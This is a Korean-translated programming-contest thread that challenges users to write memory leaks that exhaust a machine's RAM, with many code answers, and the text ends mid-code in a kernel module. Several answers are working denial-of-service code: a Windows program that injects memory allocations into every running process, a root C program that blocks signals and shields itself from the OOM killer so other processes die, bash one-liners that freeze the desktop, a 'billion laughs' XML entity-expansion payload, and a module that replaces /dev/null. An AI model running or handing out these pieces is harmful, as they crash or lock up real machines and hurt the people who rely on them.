포크 폭탄없이 메모리 누수 생성 [닫기]


54

당신의 작업은 메모리 누수 를 만드는 것 입니다. 이 프로그램은 컴퓨터가 다 떨어질 때까지 많은 메모리를 사용하는 프로그램으로, 메모리 부족을 방지하기 위해 스와핑을 수행해야합니다. 메모리를 해제 할 수있는 유일한 방법은 작업 관리자에서 프로그램을 종료하거나 taskkill /im yourprogram /f(Windows에서) 명령 행 종료를 사용 하거나 컴퓨터를 다시 시작하는 것입니다. 앱을 완전히 닫으면 메모리가 계속 소모되지 않아야합니다.

규칙 :

  1. 모든 종류의 포크 폭탄 은 금지됩니다. 그것은 악명 높은 배쉬 라인 :(){ :|:&};:이 금지 되었음을 의미합니다 !

  2. 응용 프로그램은 단일 스레드 전용이어야합니다. 이것은 포크 폭탄 규칙을 의미합니다.

  3. 프로그램은 다른 프로그램을 실행해서는 안됩니다. 이것은 당신이 같은 것을 할 수 없다는 것을 의미합니다 run(memoryfiller.exe). 이것에 대한 유일한 예외는 OS 또는 언어와 함께 번들로 제공되는 프로그램으로, 주로 메모리를 소비하도록 설계되지 않은 프로그램입니다 (즉, 다른 목적을 가짐). 이것은 좋아 cat하고 ln -s허용 되는 것을 의미합니다 .

  4. 원하는만큼의 메모리를 사용할 수 있습니다. 더 좋습니다.

  5. 코드를 완전히 설명해야합니다.

행운을 빕니다. 이것은 인기 콘테스트이므로 요청 일로부터 10 일 후에 가장 많은 표를 얻은 코드가 승리합니다!


8
"폐쇄해도 여전히 메모리를 낭비해야합니다"-프로그램이 쉘 실행 파일 (대부분의 스크립팅 언어 인터프리터와 같은 대부분의 Windows 버전) 인 경우, 창을 닫으면 프로그램이 종료됩니다.
mniip

54
이거 while(1)malloc(999);아닌가요?
Doorknob

10
"폐쇄해도 여전히 메모리를 호그로 만들어야합니다"가 "응용 프로그램이 단일 스레드 여야합니다"와 호환되는지 확실하지 않습니다 스레드에 메모리 청크가없는 경우 OS가이를 다시 가져올 수 있습니다.
aebabis

51
파이어 폭스 26을 실행하면 몇 시간 동안 탭을 열고 30 분 동안 플래시를 실행합니다. 컴퓨터가 무릎을 꿇을 것입니다.
Braden Best

1
@mniip. 그것이 도전의 요점입니다. 어려운 도전을합니다. 그리고 손잡이. 나는 다른 것을 원했다! ;)
George

답변:


78

윈도우

Win32 API를 사용하면 다른 프로세스에서 메모리를 할당 한 다음 해당 메모리를 원격으로 읽고 쓸 수 있습니다. 이 프로그램에는 하나의 스레드 만있어 시스템에서 실행중인 각 프로세스를 열거 한 다음 할당이 실패 할 때까지 각 프로세스에서 1MB 버퍼를 반복적으로 할당합니다. 하나의 프로세스로 완료되면 다음 프로세스로 넘어갑니다. 할당은 호출 프로그램이 완료 될 때 해제되지 않으며 각 대상 프로세스가 완료된 경우에만 해제됩니다. 약 10 초 안에 2GB Windows 7 VM이 정지됩니다. 관리자 권한으로 실행해야합니다.

컴파일하기: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

9
창문은 악하다.
tomsmeding

4
오늘 밤에 셧다운해야합니다. Ill a go go;)
George

1
"(관리자 권한을 사용하지 않고 일반 사용자로 실행")-확실하지 않은 경우 기본적으로 일반 사용자의 토큰에없는 SeDebugPrivilege가 필요합니다
rkosegi

@rkosegi 감사합니다.
Andrew Medico

14
+1 지금까지는 원래의 결산 을 충족하는 유일한 해답 이므로 많은 찬성 투표 가 필요합니다. 매우 창의적인 솔루션 :-)
Daniel

72

자바

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

설명

코드에 참조가 없기 때문에 ( count안전하게 무시할 수있는 것 이외 ) 누출 할 수 없다고 가정 할 수 있습니다. 그러나, 파이널 라이저는 두 개의 새로운 Hydra를 생성하며, 이것들에 대한 참조를 보유하지는 않지만 완료 될 때까지 중단됩니다. 이는 프로그램이 가비지 수집 중에 메모리를 누출하므로 System.gc()및에 대한 호출을 의미 System.runFinalization()합니다.


7
@TimS. 당신의 신은 지금 어디에 있습니까?!?
Cruncher

인가 System.gc()System.runFinalization()필요? 즉, gc가 때때로 무작위로 실행됩니까, 아니면 메모리를 채우거나 gc를 호출해야합니까?
Cruncher

4
일반적인 프로그램에서, System.gc()그리고 System.runFinalization()필요하지 않을 것입니다. 가비지 콜렉션은 메모리 압력으로 인해 자연스럽게 발생합니다. 그러나이 응용 프로그램에서는 가비지 수집이 시작될 때까지 메모리가 부족하지 않습니다. 나는 인공적으로 일부를 소개하는 것에 대해 생각 new Hydra()했지만 (예를 들어, 루프 내부 로 이동 하여) 이것이 더 악하다는 것을 알았습니다.
James_pic

1
예, "german_guy 's와 같은 깔끔한 OS 핵을 제외하고는 의미가없는 것처럼 보이기 때문에"메모리를 숨겨야한다 "라는 경고에 많은주의를 기울이지 않았습니다. Java는 항상 종료 스레드를 시작하므로 Java 애플리케이션이 규칙 # 2를 준수 할 방법이 없을 수 있습니다.
James_pic

1
Unix 시스템에서는 SIGKILL (신호 9)을 차단할 수 없으므로 프로그램을 중지 할 수 없게 만들 수 없습니다 (무중단 대기 상태로 전환하는 경우를 제외하고는 예외입니다). 액세스가 작동 할 수도 있습니다 ;-))
celtschk

37

C 프로그래밍 언어를 사용하고 Linux 커널 2.6.32-49-generic 및 libc-2.11.1.so로 테스트되었습니다.

메모리를 해제 할 수있는 유일한 방법은 작업 관리자에서 프로그램을 종료하거나 taskkill / im yourprogram / f를 사용하거나 PC를 다시 시작하는 것입니다.

이것은 SIGKILL 및 SIGSTOP을 제외한 모든 신호를 차단함으로써 달성됩니다.

그것을 닫으면 여전히 메모리를 낭비해야합니다.

이것은 실제로 저를 혼란스럽게했습니다 ... 둘 다 죽이거나 닫으면 프로세스가 종료되어 운영 체제가 프로세스에 의해 할당 된 모든 메모리를 청구 할 수 있습니다. 그러나 나는 그것을 닫으면 터미널이나 메모리 누수 프로세스를 실행하는 다른 부모 프로세스를 닫을 수 있다고 생각해야합니다. 내가 그 권리를 얻은 경우, 신호를 차단 하여이 문제를 해결하여 상위 프로세스가 종료되면 프로세스를 데몬으로 바꿉니다. 이렇게하면 프로세스가 실행중인 터미널을 닫을 수 있으며 계속 실행되고 메모리 누수가 진행됩니다.

모든 종류의 포크 폭탄은 금지됩니다. 그것은 악명 높은 bash : () {: | : &} ;:가 금지되었음을 의미합니다!

프로세스는 분기되지 않습니다.

응용 프로그램은 단일 스레드 만 있어야합니다. 이것은 포크 폭탄 규칙을 의미합니다

새로운 스레드가 생성되지 않습니다.

프로그램은 다른 프로그램을 실행해서는 안됩니다. 이것은 run (memoryfiller.exe)와 같은 것을 할 수 없다는 것을 의미합니다.

새로운 프로세스가 생성되지 않습니다.

원하는만큼의 메모리를 사용할 수 있습니다. 더 좋습니다.

운영 체제가 제공 할 수있는만큼.

코드를 완전히 설명해야합니다.

소스에 의견을 추가했습니다.

마지막으로 코드는 다음과 같습니다.

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

이 프로그램을 계속 실행하면 어떻게되는지에 관심이있는 사람 : 2GB RAM 및 4GB 스왑 공간이있는 테스트 시스템에서 RAM을 채우고 스왑하는 데 약 10 분이 걸렸습니다. OOM 킬러는 작업을 시작했으며 3 분 후에 모든 프로세스가 종료되었습니다. 마우스, 키보드 및 디스플레이조차도 시스템에 의해 떨어졌습니다. /var/log/kern.log는 종료 된 프로세스를 제외하고 유용한 정보를 표시하지 않습니다.


소스를 편집하여 oom killer가 프로세스를 무시하고 무고한 프로세스를 제거하여 대신 메모리를 비 웁니다.
foobar

5
이 프로그램을 계속 실행하면 어떻게되는지에 관심이있는 사람 : 2GB RAM 및 4GB 스왑 공간이있는 테스트 시스템에서 RAM을 채우고 스왑하는 데 약 10 분이 걸렸습니다. OOM 킬러는 작업을 시작했으며 3 분 후에 모든 프로세스가 종료되었습니다. 마우스, 키보드 및 디스플레이조차도 시스템에 의해 떨어졌습니다. /var/log/kern.log는 종료 된 프로세스를 제외하고 유용한 정보를 표시하지 않습니다.
foobar

하하, 훌륭합니다! 해당 설명을 답변으로 편집해야합니다. 한
손잡이

1
나는 downvote하지 않았지만 코드를 형식화 할 수 있다면 주석을 읽는 데 가로 스크롤이 필요하지 않습니다.
Paŭlo Ebermann

2
1) 입력 / 출력 장치를 처리하는 프로세스가 종료되고 2) 로그에서 추적하기 어려운 프로그램 작성의 경우 +1 이것은 콧수염 컬링 수준의 악입니다.
Kevin

29

순수한 배쉬

포크 폭탄이 아니라고 약속합니다.

:(){ : $@$@;};: :

포크 폭탄과 비슷해 보이며 유사한 재귀 기술을 사용하지만 포크는 없습니다. 물론 이것은 셸을 메모리에서 바로 실행하므로이 명령을 붙여 넣기 전에 새 셸을 시작하는 것이 좋습니다.

  • 라는 함수를 정의 :
  • 이 함수는 단순히 $@(arg list)를 두 배로 하여 재귀 적으로 호출합니다.
  • 함수 정의 후 :함수는 초기 인수와 함께 호출됩니다.:

산출:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

이 답변의 이전 편집에서 나는 a=$(yes)했지만 "프로그램이 다른 프로그램을 실행해서는 안됩니다"라는 규칙을 보았으므로 bashcoreutils 또는 다른 것을 호출하지 않고 대신 순수를 사용해야 합니다.


다른 하나는 다음과 같습니다.

생산 기계에서이 장치를 실행하지 마십시오

:(){ : <(:);};:

다시 말하지만, 이것은 포크 폭탄이 아닙니다-모든 것이 하나의 스레드에서 실행됩니다. 이것은 재부팅 이외의 복구 공간이 거의 없기 때문에 Ubuntu VM을 무릎에 넣은 것 같습니다.

클래식 포크 폭탄과 마찬가지로 재귀 함수 :()가 정의됩니다. 그러나 자체 호출을 포크하지 않습니다. 대신 하나의 인수를 사용하여 자체를 호출합니다.이 인수는 프로세스 대체 에서 호출됩니다 . 프로세스 대체는 파일 디스크립터를 열어서 작동하기 때문에 프로세스 /dev/fd/n(bash) 메모리를 소모 할뿐만 아니라 일부 커널 메모리도 소모합니다. 내 우분투 컴퓨터에서 이것은 몇 초 후에 창 관리자를 사용할 수 없게 한 다음이 화면으로 끝나고 얼마 지나지 않아 효과가 있습니다.

여기에 이미지 설명을 입력하십시오

클릭하면 OK이 화면이 나타납니다.

여기에 이미지 설명을 입력하십시오

이러한 옵션 중 어느 것도 도움이되지 않는 것 같습니다.이 시점에서 다시 시작하는 것이 유일한 좋은 옵션 인 것 같습니다.


3
$ which yes->/usr/bin/yes
이즈 카타

2
"메모리를 해제 할 수있는 유일한 방법은 작업 관리자에서 프로그램을 종료하거나 taskkill / im yourprogram / f를 사용하거나 심지어 PC를 다시 시작하는 것입니다. >> bash는 SIGTERM을 사용하여 종료 할 수 있으므로 종료시 실행을 중지 할 필요는 없습니다. 또한 시스템 메모리가 부족하면 실행이 중지됩니다. SIGTERM 또는 메모리 부족으로 bash가 종료되면 메모리는 운영 체제에 다시 제공됩니다.
foobar

이것은 나를 위해 작동하지 않습니다 ... 일종의 ... 나는 점차적으로 메모리가 사라지는 것을 볼 수 있지만 이것은 매우 느리게 발생하며 ctrl + c를 누르면 죽일 수도 있습니다. 현재 1 분 동안 실행 중이며 약 1GB를 차지합니다. 나는 매우 빠른 기계를 가지고 있지만 ... 그것은 중요하지 않습니다.
Stefanos Kalantzis

내 의견에 답장 : 명령은 약 2 분 49 초 후에 실제로 bash를 종료했습니다. 나는 원래이 답변을 기반으로 즉시 진행 될 것이라고 가정했습니다.
Stefanos Kalantzis

@StefanosKalantzis 귀하의 의견에 감사드립니다. 그것은 조금 더 생각하게 만들고 방금 훨씬 더 사악한 쉘 스 니펫을 발견했습니다-편집 참조.
디지털 외상

24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

그런 다음 엔티티 참조 루프 / 재귀 감지를 수행하지 않는 XML 파서로 문서를 전달하십시오. 예를 들어, xpathperl에 포함되어 있습니다 :

xpath boom.xml /

작동 방식 :

  1. 파서가 발생 <boom a="&a;">
  2. 파서 "&a;""&b;&b;"
  3. 파서는 하나 확장 "&b;""&c;&c;"(귀국일에, 그것은 다른 확장됩니다 "&b;")
  4. 파서는 다음 중 하나를 확장합니다 "&c;"...

전체 확장이 발생할 수 있으면 "ka-boom!"이 2 ^ 52 확장됩니다. 문자 당 2 바이트를 가정하면 64 PiB를 사용하려고합니다. 확장은 "카 붐!" 한 번에, 그래서 당신은 일반적으로 상단의 모든 메모리를 사용하는 것을 볼 수 있습니다.

여기에는 다양한 이름이 사용됩니다. http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion


3
본질적으로 10 억의 웃음
Cole Johnson

@ColeJohnson 그래! 저는 WASC 위협 분류 프로젝트에 참여했기 때문에 Wikipedia가 아닌 WASC를 지적해야 할 의무가있었습니다. :)
ɲuroburɳ

22

C ++

int main()
{
    for(;;)int *a=new int;
}

이 코드는 예기치 않았다! 작업 관리자가 열려있는 동안 내 컴퓨터가 멈추었고 1 초 안에 890 Mb의 메모리가 걸린다는 것을 보여주었습니다. 나는 이것이 어떻게 작동하는지 모르겠다. 어쩌면 변수에 메모리를 계속 제공 할 것이다.이 코드를 더 탐구하기 위해 나는 진술을 추가 delete a;했고 테스트하는 동안 모든 것이 잘되었다. (때문에 주어진 new int) 다음 (때문에 다시 촬영 delete a아래 새로운 코드에 여유 공간).

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

그래서 나는 이 세상의 어떤 RAM 도이 코드를 처리 할 수 없다고 결론지었습니다 !

편집 : 그러나 많은 프로세서는 예를 들어이 intel core 2 duo코드를 처리 할 수 ​​없지만
intel core i-series(나를 위해 일했습니다 ...)

질문에 대한 답은 첫 번째 코드이고 두 번째 코드는 설명을위한 것임을 기억하십시오.


9
컴파일러 new int는 포인터를 덮어 쓴 경우 에도 여전히 사용할 것이라고 생각 하므로 다시 액세스 할 수 없습니다. 따라서 가비지 콜렉션이 호출되지 않고 뚱뚱한 아이가 스키 틀을 먹는 것보다 더 빨리 메모리를 채 웁니다.
David Wilkins

37
@DavidWilkins : ... 이것은 C ++이며, C ++에는 가비지 수집기가 없습니다.
Phoshi

32
이 코드가 유출되는 것이 예상치 못한 경우, 더 잘 배울 때까지 C ++을 사용해서는 안된다고 생각합니다.
svick

1
@ svick 그러나 그것은 어둠 속에서 다트 판을 때리는 것과 같지 않습니다! 나는 이것이 직업 문제가 원하는 것이라고 생각했다.
Mukul Kumar

15
@svick 만약 그가 C ++을 사용하지 않으면 어떻게 '더 잘 배울'것입니까?
Kevin

16

BrainFuck

+[>+]

설명:

루프에 들어가려면 셀이 1로 증가합니다. 마지막 셀이 양수인 한 다음 셀로 이동하여 1로 증가시킵니다.

일반적으로 BrainFuck 인터프리터에는 테이프의 셀 수에 제한이있어 결함이 있지만 일부 인터프리터는 동적으로 셀을 추가합니다. 더 이상 소비하지 않을 때까지 메모리를 계속 소비합니다.

beef이러한 해석기 중 하나이며 Ubuntu Software Center에서 사용할 수 있으며 29 시간 전에 시작된 사용하지 않는 컴퓨터에서 현재 실행 중이며 그 시간에 1GB의 RAM을 소비했습니다. 출력 결과는 다음과 같습니다.top

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

4GB의 캐시와 6GB의 스왑이 있으므로 약 12 ​​일이 지난 후에이 답변을 업데이트 할 것입니다.

업데이트 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

업데이트 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

10 일 동안 운영되고 있습니다. 흥미로운 일이 발생하기 전에 적어도 10 이상 실행되는 것처럼 보입니다.


좋고 짧습니다.
nrubin29

15

C와 POSIX

여기에서는 휴대 성이 뛰어난 솔루션을 목표로합니다. 문제는 순수한 C는 프로그램이 닫힌 후에도 메모리가 할당되어 있어야한다는 것을 운영체제에 알리는 방법이없는 것입니다. POSIX를 사용할 수 있습니다. 대부분의 OS는 Windows, Linux 및 MacOS X를 포함한 POSIX 호환성에 대한 일부 주장을 가지고 있습니다. 그러나 우분투 12.04 32 비트에서만 테스트했습니다. 수퍼 유저 권한이 필요하지 않습니다.

이 솔루션은 본질적으로 기존 while(1){malloc(1);}솔루션입니다. 그러나 malloc 대신 POSIX 공유 메모리 기능을 사용합니다. 각 할당에 공유 메모리 식별자를 할당하므로 프로세스가 종료 된 후에도 메모리에 액세스 할 수 있습니다. 따라서 커널은 메모리를 해제 할 수 없습니다.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

가장 훌륭하고 뛰어난 C 답변 IMO. +1
syb0rg 17 년

1
좋은데 내가 생각해 낸 첫 번째 해결책은 Andrew Medico의 것이었지만 Linux에서는 불가능하고 Windows 프로그래밍을 좋아하지 않기 때문에 공유 메모리를 통해 유출하고 싶지만 POSIX 함수 이름을 기억할 수 없었습니다. 저를 기억해 주셔서 감사합니다;) 내가 찾은 모든 프로세스 종료시 매핑되지 않은 mmap 일뿐입니다 ...
foobar

14

씨#

처리기가 범위를 벗어나기 전에 이벤트에서 구독을 취소하면 .NET에서 OutOfMemoryException이 발생할 때까지 메모리가 누출됩니다.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

설명 : while루프 내에서 새 객체를 생성하여 프레임 워크가 더 많은 메모리를 할당하도록하지만 B, 인스턴스 클래스를 다른 클래스의 이벤트에 할당하여 범위를 벗어나 면 새 인스턴스 가 해제 되지 않도록합니다 . 결과적으로 B코드에서 새 인스턴스에 도달 할 수 없지만 참조가 여전히 존재하므로 GC는 a범위를 벗어날 때까지이를 해제하지 않습니다 .

정적 이벤트는 범위를 벗어나지 않기 때문에 동일한 함정을 갖습니다. 이벤트를 먼저 구독 취소하지 않으면 프로세스가 종료 될 때만 정리됩니다. 항상 참고 문헌을 보관하십시오!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

위의 내용은 동일한 아이디어에서 작동하며 while루프가 범위를 벗어나 면 핸들러에 도달 할 수 없으므로 이벤트를 구독 취소 할 수 없으므로 프로그램이 종료 될 때까지 메모리가 거기에 앉아 있습니다. 정적 이벤트는 범위를 벗어나지 않도록 보장 할 수 있기 때문에 인스턴스 이벤트보다 훨씬 위험합니다.

편집 : 참조를 추가하는 동시에 참조를 해제 할 수있는 방법이 없도록하는 한 기본적으로 다른 객체와 동일하게 수행 할 수 있습니다.

정적 객체와 배열을 사용하는 예는 다음과 같습니다.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

배열은 목록에 계속 추가되지만 코드를 수정하지 않고 목록을 지우는 방법은 없으므로 폐쇄 소스 응용 프로그램에서는 불가능합니다. 전달 된 수를 늘리면 Leak.Add더 빨리 누출 될 수 있습니다. 충분히 높게 설정하면 즉시 OverflowException이 발생합니다.


10

bash (외부 유틸리티 없음)

여기에 포크 폭탄이 없습니다.

경고 : 쉘을 죽일 수 있습니다.

정수가 어떻게 보이는지 잊어 버렸기 때문에 참조를 위해 정수 배열을 만들려고했습니다.

while :; do _+=( $((++__)) ); done

결과 :

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

2
"정수가 어떻게 생겼는지 잊어 버리기 때문에 +1":)
David Conrad

8

J (7)

경고 : 시스템을 시도했을 때 시스템이 중지되었습니다 (qt 터미널의 Windows 8, J 8.01).

2#^:_[_
  • 2# 각 요소를 복제하여 인수 길이를 두 배로 늘리고
  • ^:_ 주어진 함수의 픽스 포인트를 찾습니다 (그러나 하나도 없으므로 끝없이 반복됩니다).
  • [_그것을 _인수로 부릅니다 .

8

하스켈 (Graham 's number)

매우 간단합니다 : Graham의 수를 계산합니다

여기의 다른 예제와 달리, 영원히 실행되지는 않습니다 ... 많은 CPU를 사용하지만 이론적으로는 종료 될 수 있습니다. 숫자를 저장하지 않았다면 ...

관측 가능한 우주는 너무 작아서 각 숫자가 하나의 플랑크 볼륨을 차지한다고 가정 할 때 그레이엄 수의 일반적인 디지털 표현을 포함 할 수 없습니다 .

(wikipedia에 따르면)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

따라서 아이디어는 메모리가 점점 더 많은 일련의 Integer(들)에 의해 사용될 것이라는 것입니다 (Haskell의 정수는 임의의 크기입니다).

테스트하려면 스택 크기를 늘리거나 내부에로드해야합니다 ghci.


2
정수에 대한 Haskell 표준을 준수하지 않는 멍청한 우주. 왜 임의의 크기를 지원할 수 없습니까?
PyRulez

6

@comintern에서 영감을 얻었습니다.

/ dev / null을 교체합니다. 몰래 모드를 사용합니다. 커널 헤더, 수퍼 유저 모드 및 작동하는 컴파일러가 필요합니다.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

즐기세요

메이크 파일 :

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

소스 코드:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
